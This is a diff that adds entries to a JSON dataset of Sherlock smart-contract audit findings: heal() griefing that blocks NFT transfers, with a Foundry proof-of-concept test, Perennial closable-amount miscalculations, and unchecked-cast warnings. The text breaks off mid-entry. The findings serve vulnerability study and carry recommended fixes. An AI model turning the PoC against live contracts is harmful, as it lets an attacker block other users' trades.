diff --git a/dataset/vulns.json b/dataset/vulns.json
index 95b1a6f..9de05e9 100644
--- a/dataset/vulns.json
+++ b/dataset/vulns.json
@@ -32025,6 +32025,26 @@
{"title":"heal - attacker can request heal to stop other users from trading NFTs","severity":"medium","body":"Polite Rose Beaver\n\nmedium\n\n# heal - attacker can request heal to stop other users from trading NFTs\n## Summary\n\nOnly active, wounded agents can be transferred. Since anyone can request heal the wounded agent owned by another user, attacker can prevent user sell(transfer) agent NFT.\n\n## Vulnerability Detail\n\nThe `heal` function allows anyone to request to heal the wounded agent that they do not own. Only active or wounded agents can be transferred, not healing, escaped, or dead agents.\n\n```solidity\nfunction transferFrom(address from, address to, uint256 tokenId) public payable override {\n AgentStatus status = agents[agentIndex(tokenId)].status;\n@> if (status > AgentStatus.Wounded) {\n revert InvalidAgentStatus(tokenId, status);\n }\n super.transferFrom(from, to, tokenId);\n}\n```\n\n \n\nUsers can freely buy and sell agent NFTs on the NFT market. However, if the attacker requests to heal the wounded agent that is selling, the user will not be able to trade agent NFT.\n\nThis is the PoC code. Anyone can request to heal the agent, and this agent is no longer transferable.\n\n```solidity\nfunction test_poc_heal_others() public {\n _startGameAndDrawOneRound();\n\n _drawXRounds(1);\n \n address attacker = address(0xcafebabe);\n\n (uint256[] memory woundedAgentIds, ) = infiltration.getRoundInfo({roundId: 1});\n\n assertEq(infiltration.costToHeal(woundedAgentIds), HEAL_BASE_COST * woundedAgentIds.length);\n\n address agentOwner = _ownerOf(woundedAgentIds[0]);\n\n looks.mint(attacker, HEAL_BASE_COST);\n\n // attacker calls heal\n vm.startPrank(attacker);\n _grantLooksApprovals();\n looks.approve(TRANSFER_MANAGER, HEAL_BASE_COST);\n\n uint256[] memory agentIds = new uint256[](1);\n agentIds[0] = woundedAgentIds[0];\n\n uint256[] memory costs = new uint256[](1);\n costs[0] = HEAL_BASE_COST;\n\n expectEmitCheckAll();\n emit HealRequestSubmitted(3, agentIds, costs);\n\n infiltration.heal(agentIds);\n vm.stopPrank();\n\n (, uint256[] memory healingAgentIds) = infiltration.getRoundInfo({roundId: 1});\n assertAgentIdsAreHealing(healingAgentIds);\n\n vm.expectRevert(\n abi.encodePacked(\n IInfiltration.InvalidAgentStatus.selector,\n abi.encode(woundedAgentIds[0], IInfiltration.AgentStatus.Healing)\n )\n );\n\n vm.prank(agentOwner); // NFT owner fail to sell/transfer NFT\n infiltration.transferFrom(agentOwner, address(0x1234), woundedAgentIds[0]);\n\n}\n```\n\n## Impact\n\n## Code Snippet\n\n[https://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L801](https://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L801)\n\n[https://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L925-L928](https://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L925-L928)\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nMake sure that only the agent owner can request to heal. If `heal` is called from InfiltrationPeriphery contract, pass `msg.sender` as parameter and check it.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//001-M/057-best.md"}}
{"title":"Healing can be used to DOS sales on secondary markets of wounded agents","severity":"medium","body":"Fun Aegean Halibut\n\nhigh\n\n# Healing can be used to DOS sales on secondary markets of wounded agents\n## Summary\nIn this game agents can only be transferred when they are in the state of being `Active` or `Wounded`. This is used to enable the trading on secondary market of agents which have a reasonable chance to not be dead in the next round/already.\n\nSince an agent with the `Healing` status has a risk of being killed in the next round, transferring such agents is disabled. However since healing of an agent can be done by anybody, anybody can block/DOS the sale of a wounded agent by healing it. \n\n## Vulnerability Detail\nAlice wants to trade her agent which is in the state `Wounded`, so she posts an offer on her favorite marketplace.\nBob tries to buy Alice's agent, but is front-run by Charlie who heals Alice's agent, making the transfer revert.\nSince this transaction is not possible anymore, Charlie can post an offer for his own agent, and have more chances of having it fulfilled.\n\n## Impact\nSome trades may be DOSed on secondary markets\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L924-L930\n\n## Tool used\n\nManual Review\n\n## Recommendation\nEnable the transfer of healing agents, maybe taking in consideration the front-run lock (since a participant may peek at the next state of the agent and act accordingly).","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//001-M/051.md"}}
{"title":"`Infiltration.heal()` doesn't check for agent ownership","severity":"medium","body":"Rapid Rouge Blackbird\n\nmedium\n\n# `Infiltration.heal()` doesn't check for agent ownership\n## Summary\nIn the `heal()` function of the `Infiltration` contract, user provided agents are not checked for ownership.\n\n## Vulnerability Detail\nIn the `heal()` function, agents are only checked for their status and length, but not ownership. Any user can heal any agents.\n\n## Impact\nDespite calling the function costs caller prices and doesn't benefit caller at all, it can still affect the overall game plan/order for other users.\n\n## Code Snippet\n```solidity\n for (uint256 i; i < agentIdsCount; ) {\n uint256 agentId = agentIds[i];\n\n uint256 index = agentIndex(agentId);\n _assertAgentStatus(agents[index], agentId, AgentStatus.Wounded);\n\n bytes32 agentSlot = _getAgentStorageSlot(index);\n uint256 agentSlotValue;\n uint256 woundedAt;\n```\n\n\n## Tool used\nManual Review\n\n## Recommendation\nCheck for ownership at the beginning of the loop.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//001-M/002.md"}}
+{"title":"MultiInvoker closableAmount the calculation logic is wrong","body":"Vast Glossy Tapir\n\nmedium\n\n# MultiInvoker closableAmount the calculation logic is wrong\n\n## Summary\nin `MultiInvoker._latest()`\nThe incorrect use of `previousMagnitude = latestPosition.magnitude()` has led to an error in the calculation of `closableAmount`. This has caused errors in judgments that use this variable, such as `_liquidationFee()`.\n\n## Vulnerability Detail\nThere are currently multiple places where the user's `closable` needs to be calculated, such as `market.update()`. \nThe calculation formula is as follows in the code:\n`Market.sol`\n```solidity\n function _processPendingPosition(Context memory context, Position memory newPendingPosition) private {\n context.pendingCollateral = context.pendingCollateral\n .sub(newPendingPosition.fee)\n .sub(Fixed6Lib.from(newPendingPosition.keeper));\n \n context.closable = context.closable\n .sub(context.previousPendingMagnitude\n .sub(newPendingPosition.magnitude().min(context.previousPendingMagnitude)));\n@> context.previousPendingMagnitude = newPendingPosition.magnitude();\n\n if (context.previousPendingMagnitude.gt(context.maxPendingMagnitude))\n context.maxPendingMagnitude = newPendingPosition.magnitude();\n }\n```\n\nIt will loop through `pendingPostion`, and each loop will set the variable `context.previousPendingMagnitude = newPendingPosition.magnitude();` to be used as the basis for the calculation of the next `pendingPostion`.\n\n`closableAmount` is also calculated in `MultiInvoker._latest()`. The current implementation is as follows:\n```solidity\n function _latest(\n IMarket market,\n address account\n ) internal view returns (Position memory latestPosition, Fixed6 latestPrice, UFixed6 closableAmount) {\n // load latest price\n OracleVersion memory latestOracleVersion = market.oracle().latest();\n latestPrice = latestOracleVersion.price;\n IPayoffProvider payoff = market.payoff();\n if (address(payoff) != address(0)) latestPrice = payoff.payoff(latestPrice);\n\n // load latest settled position\n uint256 latestTimestamp = latestOracleVersion.timestamp;\n latestPosition = market.positions(account);\n closableAmount = latestPosition.magnitude();\n UFixed6 previousMagnitude = closableAmount;\n\n // scan pending position for any ready-to-be-settled positions\n Local memory local = market.locals(account);\n for (uint256 id = local.latestId + 1; id <= local.currentId; id++) {\n\n // load pending position\n Position memory pendingPosition = market.pendingPositions(account, id);\n pendingPosition.adjust(latestPosition);\n\n // virtual settlement\n if (pendingPosition.timestamp <= latestTimestamp) {\n if (!market.oracle().at(pendingPosition.timestamp).valid) latestPosition.invalidate(pendingPosition);\n latestPosition.update(pendingPosition);\n\n previousMagnitude = latestPosition.magnitude();\n closableAmount = previousMagnitude;\n\n // process pending positions\n } else {\n closableAmount = closableAmount\n .sub(previousMagnitude.sub(pendingPosition.magnitude().min(previousMagnitude)));\n@> previousMagnitude = latestPosition.magnitude();\n }\n }\n }\n```\nThis method also loops through `pendingPosition`, but incorrectly uses `latestPosition.magnitude()` to set `previousMagnitude`, `previousMagnitude = latestPosition.magnitude();`. \nThe correct way should be `previousMagnitude = currentPendingPosition.magnitude()` like `market.sol`. \nThis mistake leads to an incorrect calculation of `closableAmount`.\n\n## Impact\n\n\nThe calculation of `closableAmount` is incorrect, which leads to errors in the judgments that use this variable, such as `_liquidationFee()`.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-extensions/contracts/MultiInvoker.sol#L430\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n```diff\n function _latest(\n IMarket market,\n address account\n ) internal view returns (Position memory latestPosition, Fixed6 latestPrice, UFixed6 closableAmount) {\n // load latest price\n OracleVersion memory latestOracleVersion = market.oracle().latest();\n latestPrice = latestOracleVersion.price;\n IPayoffProvider payoff = market.payoff();\n if (address(payoff) != address(0)) latestPrice = payoff.payoff(latestPrice);\n\n // load latest settled position\n uint256 latestTimestamp = latestOracleVersion.timestamp;\n latestPosition = market.positions(account);\n closableAmount = latestPosition.magnitude();\n UFixed6 previousMagnitude = closableAmount;\n\n // scan pending position for any ready-to-be-settled positions\n Local memory local = market.locals(account);\n for (uint256 id = local.latestId + 1; id <= local.currentId; id++) {\n\n // load pending position\n Position memory pendingPosition = market.pendingPositions(account, id);\n pendingPosition.adjust(latestPosition);\n\n // virtual settlement\n if (pendingPosition.timestamp <= latestTimestamp) {\n if (!market.oracle().at(pendingPosition.timestamp).valid) latestPosition.invalidate(pendingPosition);\n latestPosition.update(pendingPosition);\n\n previousMagnitude = latestPosition.magnitude();\n closableAmount = previousMagnitude;\n\n // process pending positions\n } else {\n closableAmount = closableAmount\n .sub(previousMagnitude.sub(pendingPosition.magnitude().min(previousMagnitude)));\n- previousMagnitude = latestPosition.magnitude();\n+ previousMagnitude = pendingPosition.magnitude();\n }\n }\n }\n```","dataSource":{"name":"sherlock-audit/2023-10-perennial-judging","repo":"https://github.com/sherlock-audit/2023-10-perennial-judging","url":"https://github.com/sherlock-audit/2023-10-perennial-judging/blob/main//009/041.md"}}
+{"title":"`MultiInvoker._latest` calculates incorrect closable for the current oracle version causing some liquidations to revert","body":"Bouncy Corduroy Chimpanzee\n\nmedium\n\n# `MultiInvoker._latest` calculates incorrect closable for the current oracle version causing some liquidations to revert\n\n## Summary\n\n`closable` is the value calculated as the maximum possible position size that can be closed even if some pending position updates are invalidated due to invalid oracle version. There is one tricky edge case at the current oracle version which is calculated incorrectly in `MultiInvoker` (and also in `Vault`). This happens when pending position is updated in the current active oracle version: it is allowed to set this current position to any value conforming to closable of the **previous** pending (or latest) position. For example:\n1. latest settled position = 10\n2. user calls update(20) - pending position at t=200 is set to 20. If we calculate `closable` normally, it will be 10 (latest settled position).\n3. user calls update(0) - pending position at t=200 is set to 0. This is valid and correct. It looks as if we've reduced position by 20, bypassing the `closable = 10` value, but in reality the only enforced `closable` is the previous one (for latest settled position in the example, so it's 10) and it's enforced as a change from previous position, not from current.\n\nNow, if the step 3 happened in the next oracle version, so\n3. user calls update(0) - pending position at t=300 will revert, because user can't close more than 10, and he tries to close 20.\n\nSo in such tricky edge case, `MultiInvoker` (and `Vault`) will calculate `closable = 10` and will try to liquidate with position = 20-10 = 10 instead of 0 and will revert, because `Market._invariant` will calculate `closable = 10` (latest = 10, pending = 10, closable = latest = 10), but it must be 0 to liquidate (step 3. in the example above)\n\nIn `Vault` case, this is less severe as the market will simply allow to redeem and will close smaller amount than it actually can.\n\n## Vulnerability Detail\n\nWhen `Market` calculates `closable`, it's calculated starting from latest settled position up to (but not including) current position:\n```solidity\n// load pending positions\nfor (uint256 id = context.local.latestId + 1; id < context.local.currentId; id++)\n _processPendingPosition(context, _loadPendingPositionLocal(context, account, id));\n```\n\nPay attention to `id < context.local.currentId` - the loop doesn't include currentId.\n\nAfter the current position is updated to a new user specified value, only then the current position is processed and closable now includes **new** user position change from the previous position:\n\n```solidity\nfunction _update(\n ...\n // load\n _loadUpdateContext(context, account);\n ...\n context.currentPosition.local.update(collateral);\n ...\n // process current position\n _processPendingPosition(context, context.currentPosition.local);\n ...\n // after\n _invariant(context, account, newOrder, collateral, protected);\n```\n\nThe `MultiInvoker._latest` logic is different and simply includes calculation of `closable` for all pending positions:\n\n```solidity\nfor (uint256 id = local.latestId + 1; id <= local.currentId; id++) {\n\n // load pending position\n Position memory pendingPosition = market.pendingPositions(account, id);\n pendingPosition.adjust(latestPosition);\n\n // virtual settlement\n if (pendingPosition.timestamp <= latestTimestamp) {\n if (!market.oracle().at(pendingPosition.timestamp).valid) latestPosition.invalidate(pendingPosition);\n latestPosition.update(pendingPosition);\n\n previousMagnitude = latestPosition.magnitude();\n closableAmount = previousMagnitude;\n\n // process pending positions\n } else {\n closableAmount = closableAmount\n .sub(previousMagnitude.sub(pendingPosition.magnitude().min(previousMagnitude)));\n previousMagnitude = latestPosition.magnitude();\n }\n}\n```\n\nThe same incorrect logic is in a `Vault`:\n\n```solidity\n// pending positions\nfor (uint256 id = marketContext.local.latestId + 1; id <= marketContext.local.currentId; id++)\n previousClosable = _loadPosition(\n marketContext,\n marketContext.currentAccountPosition = registration.market.pendingPositions(address(this), id),\n previousClosable\n );\n```\n\n## Impact\n\nIn the following edge case:\n- current oracle version = oracle version of the pending position in currentId index\n- AND this (current) pending position increases compared to previous pending/settled position\n\nThe following can happen:\n- liquidation via `MultiInvoker` will revert (medium impact)\n- vault's `maxRedeem` amount will be smaller than actual allowed amount, position will be reduced by a smaller amount than they actually can (low impact)\n\n## Code Snippet\n\n`MultiInvoker` calculates `closable` by simply iterating all pending positions:\nhttps://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-extensions/contracts/MultiInvoker.sol#L412-L433\n\n`Vault` calculates it the same way (iterating all positions):\nhttps://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-vault/contracts/lib/StrategyLib.sol#L164-L170\n\n`Market` calculates `closable` up to (but not including) current position:\nhttps://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial/contracts/Market.sol#L287-L289\n\nand then the current position (after being updated to user values) is processed (closable enforced/calculated):\nhttps://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial/contracts/Market.sol#L362-L363\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nWhen calculating `closable` in `MultiInvoker` and `Vault`, add the following logic:\n- if timestamp of pending position at index currentId equals current oracle version, then add the difference between position size at currentId and previous position size to `closable` (both when that position increases and decreases).\n\nFor example, if\n- latest settled position = 10\n- pending position at t=200 = 20\nthen\ninitialize `closable` to `10` (latest)\nadd (pending-latest) = (20-10) to closable (`closable` = 20)","dataSource":{"name":"sherlock-audit/2023-10-perennial-judging","repo":"https://github.com/sherlock-audit/2023-10-perennial-judging","url":"https://github.com/sherlock-audit/2023-10-perennial-judging/blob/main//009/032.md"}}
+{"title":"Consider using OpenZeppelin’s `SafeCast` library to prevent unexpected overflows when casting from various type int/uint values","body":"Sweet Daffodil Pelican\n\nmedium\n\n# Consider using OpenZeppelin’s `SafeCast` library to prevent unexpected overflows when casting from various type int/uint values\n\n## Summary\nType casting in Solidity without proper checks can lead to overflows or underflows, resulting in unexpected behavior. To prevent these issues, it's advised to use the SafeCast library provided by OpenZeppelin, which offers functions to safely cast between different integer sizes.\n\n\n## Vulnerability Detail\nWhen casting from a larger integer type to a smaller one (e.g., uint256 to uint128), if the value exceeds the range of the target type, it can cause an overflow. Similarly, when casting from signed to unsigned types without checks, it can result in an underflow. These can introduce bugs and vulnerabilities into the smart contract.\n\n## Impact\nThe likelihood and impact of this issue are considered low because it would require a very specific set of circumstances to exploit an overflow or underflow resulting from an unchecked cast. However, it still represents a potential risk that should be mitigated.\n\n\n## Code Snippet\n\nClick to show findings
\n\n```solidity\nPath: ./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol\n\n110: UFixed6.wrap(uint256( slot0 << (256 - 24)) >> (256 - 24)),\t// @audit-issue\n\n111: UFixed6.wrap(uint256( slot0 << (256 - 24 - 24)) >> (256 - 24)),\t// @audit-issue\n\n112: UFixed6.wrap(uint256( slot0 << (256 - 24 - 24 - 24)) >> (256 - 24)),\t// @audit-issue\n\n113: UFixed6.wrap(uint256( slot0 << (256 - 24 - 24 - 24 - 24)) >> (256 - 24)),\t// @audit-issue\n\n114: UFixed6.wrap(uint256( slot0 << (256 - 24 - 24 - 24 - 24 - 24)) >> (256 - 24)),\t// @audit-issue\n\n115: UFixed6.wrap(uint256( slot0 << (256 - 24 - 24 - 24 - 24 - 24 - 24)) >> (256 - 24)),\t// @audit-issue\n\n116: UFixed6.wrap(uint256( slot0 << (256 - 24 - 24 - 24 - 24 - 24 - 24 - 24)) >> (256 - 24)),\t// @audit-issue\n\n117: UFixed6.wrap(uint256( slot0 << (256 - 24 - 24 - 24 - 24 - 24 - 24 - 24 - 64)) >> (256 - 64)),\t// @audit-issue\n\n118: UFixed6.wrap(uint256( slot0 << (256 - 24 - 24 - 24 - 24 - 24 - 24 - 24 - 64 - 24)) >> (256 - 24)),\t// @audit-issue\n\n120: UFixed6.wrap(uint256( slot1 << (256 - 24)) >> (256 - 24)),\t// @audit-issue\n\n121: UFixed6.wrap(uint256( slot1 << (256 - 24 - 48)) >> (256 - 48)),\t// @audit-issue\n\n122: UFixed6.wrap(uint256( slot2 << (256 - 48 - 32 - 48 - 48 - 48)) >> (256 - 48)),\t// @audit-issue\n\n124: UFixed6.wrap(uint256( slot1 << (256 - 24 - 48 - 64 - 32)) >> (256 - 32)),\t// @audit-issue\n\n125: UFixed6.wrap(uint256( slot1 << (256 - 24 - 48 - 64 - 32 - 32)) >> (256 - 32)),\t// @audit-issue\n\n126: UFixed6.wrap(uint256( slot1 << (256 - 24 - 48 - 64 - 32 - 32 - 32)) >> (256 - 32)),\t// @audit-issue\n\n127: UFixed6.wrap(uint256( slot1 << (256 - 24 - 48 - 64 - 32 - 32 - 32 - 24)) >> (256 - 24))\t// @audit-issue\n\n131: UFixed6.wrap(uint256( slot2 << (256 - 48)) >> (256 - 48)),\t// @audit-issue\n\n132: UFixed6.wrap(uint256( slot2 << (256 - 48 - 32)) >> (256 - 32))\t// @audit-issue\n\n134: UFixed6.wrap(uint256( slot2 << (256 - 48 - 32 - 48)) >> (256 - 48)),\t// @audit-issue\n\n135: UFixed6.wrap(uint256( slot2 << (256 - 48 - 32 - 48 - 48)) >> (256 - 48)),\t// @audit-issue\n\n136: UFixed6.wrap(uint256( slot1 << (256 - 24 - 48 - 64)) >> (256 - 64)),\t// @audit-issue\n\n137: uint256( slot2 << (256 - 48 - 32 - 48 - 48 - 48 - 24)) >> (256 - 24),\t// @audit-issue\n\n138: 0 != (uint256( slot2 << (256 - 48 - 32 - 48 - 48 - 48 - 24 - 8)) >> (256 - 8))\t// @audit-issue\n\n185: if (newValue.staleAfter > uint256(type(uint24).max)) revert RiskParameterStorageInvalidError();\t// @audit-issue\n\n188: uint256(UFixed6.unwrap(newValue.margin) << (256 - 24)) >> (256 - 24) |\t// @audit-issue\n\n189: uint256(UFixed6.unwrap(newValue.maintenance) << (256 - 24)) >> (256 - 24 - 24) |\t// @audit-issue\n\n190: uint256(UFixed6.unwrap(newValue.takerFee) << (256 - 24)) >> (256 - 24 - 24 - 24) |\t// @audit-issue\n\n191: uint256(UFixed6.unwrap(newValue.takerSkewFee) << (256 - 24)) >> (256 - 24 - 24 - 24 - 24) |\t// @audit-issue\n\n192: uint256(UFixed6.unwrap(newValue.takerImpactFee) << (256 - 24)) >> (256 - 24 - 24 - 24 - 24 - 24) |\t// @audit-issue\n\n193: uint256(UFixed6.unwrap(newValue.makerFee) << (256 - 24)) >> (256 - 24 - 24 - 24 - 24 - 24 - 24) |\t// @audit-issue\n\n194: uint256(UFixed6.unwrap(newValue.makerImpactFee) << (256 - 24)) >> (256 - 24 - 24 - 24 - 24 - 24 - 24 - 24) |\t// @audit-issue\n\n195: uint256(UFixed6.unwrap(newValue.makerLimit) << (256 - 64)) >> (256 - 24 - 24 - 24 - 24 - 24 - 24 - 24 - 64) |\t// @audit-issue\n\n196: uint256(UFixed6.unwrap(newValue.efficiencyLimit) << (256 - 24)) >> (256 - 24 - 24 - 24 - 24 - 24 - 24 - 24 - 64 - 24);\t// @audit-issue\n\n199: uint256(UFixed6.unwrap(newValue.liquidationFee) << (256 - 24)) >> (256 - 24) |\t// @audit-issue\n\n200: uint256(UFixed6.unwrap(newValue.minLiquidationFee) << (256 - 48)) >> (256 - 24 - 48) |\t// @audit-issue\n\n201: uint256(UFixed6.unwrap(newValue.skewScale) << (256 - 64)) >> (256 - 24 - 48 - 64) |\t// @audit-issue\n\n202: uint256(UFixed6.unwrap(newValue.utilizationCurve.minRate) << (256 - 32)) >> (256 - 24 - 48 - 64 - 32) |\t// @audit-issue\n\n203: uint256(UFixed6.unwrap(newValue.utilizationCurve.maxRate) << (256 - 32)) >> (256 - 24 - 48 - 64 - 32 - 32) |\t// @audit-issue\n\n204: uint256(UFixed6.unwrap(newValue.utilizationCurve.targetRate) << (256 - 32)) >> (256 - 24 - 48 - 64 - 32 - 32 - 32) |\t// @audit-issue\n\n205: uint256(UFixed6.unwrap(newValue.utilizationCurve.targetUtilization) << (256 - 24)) >> (256 - 24 - 48 - 64 - 32 - 32 - 32 - 24);\t// @audit-issue\n\n208: uint256(UFixed6.unwrap(newValue.pController.k) << (256 - 48)) >> (256 - 48) |\t// @audit-issue\n\n209: uint256(UFixed6.unwrap(newValue.pController.max) << (256 - 32)) >> (256 - 48 - 32) |\t// @audit-issue\n\n210: uint256(UFixed6.unwrap(newValue.minMargin) << (256 - 48)) >> (256 - 48 - 32 - 48) |\t// @audit-issue\n\n211: uint256(UFixed6.unwrap(newValue.minMaintenance) << (256 - 48)) >> (256 - 48 - 32 - 48 - 48) |\t// @audit-issue\n\n212: uint256(UFixed6.unwrap(newValue.maxLiquidationFee) << (256 - 48)) >> (256 - 48 - 32 - 48 - 48 - 48) |\t// @audit-issue\n\n213: uint256(newValue.staleAfter << (256 - 24)) >> (256 - 48 - 32 - 48 - 48 - 48 - 24) |\t// @audit-issue\n\n214: uint256((newValue.makerReceiveOnly ? uint256(1) : uint256(0)) << (256 - 8)) >> (256 - 48 - 32 - 48 - 48 - 48 - 24 - 8);\t// @audit-issue\n```\n*GitHub*: [110](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L110-L110), [111](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L111-L111), [112](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L112-L112), [113](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L113-L113), [114](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L114-L114), [115](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L115-L115), [116](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L116-L116), [117](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L117-L117), [118](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L118-L118), [120](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L120-L120), [121](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L121-L121), [122](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L122-L122), [124](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L124-L124), [125](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L125-L125), [126](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L126-L126), [127](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L127-L127), [131](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L131-L131), [132](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L132-L132), [134](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L134-L134), [135](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L135-L135), [136](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L136-L136), [137](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L137-L137), [138](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L138-L138), [185](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L185-L185), [188](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L188-L188), [189](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L189-L189), [190](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L190-L190), [191](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L191-L191), [192](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L192-L192), [193](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L193-L193), [194](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L194-L194), [195](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L195-L195), [196](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L196-L196), [199](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L199-L199), [200](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L200-L200), [201](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L201-L201), [202](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L202-L202), [203](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L203-L203), [204](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L204-L204), [205](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L205-L205), [208](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L208-L208), [209](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L209-L209), [210](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L210-L210), [211](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L211-L211), [212](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L212-L212), [213](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L213-L213), [214](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L214-L214)\n```solidity\nPath: ./perennial-v2/packages/perennial/contracts/types/Version.sol\n\n352: (uint256(slot0 << (256 - 8)) >> (256 - 8)) != 0,\t// @audit-issue\n\n353: Accumulator6(Fixed6.wrap(int256(slot0 << (256 - 8 - 64)) >> (256 - 64))),\t// @audit-issue\n\n354: Accumulator6(Fixed6.wrap(int256(slot0 << (256 - 8 - 64 - 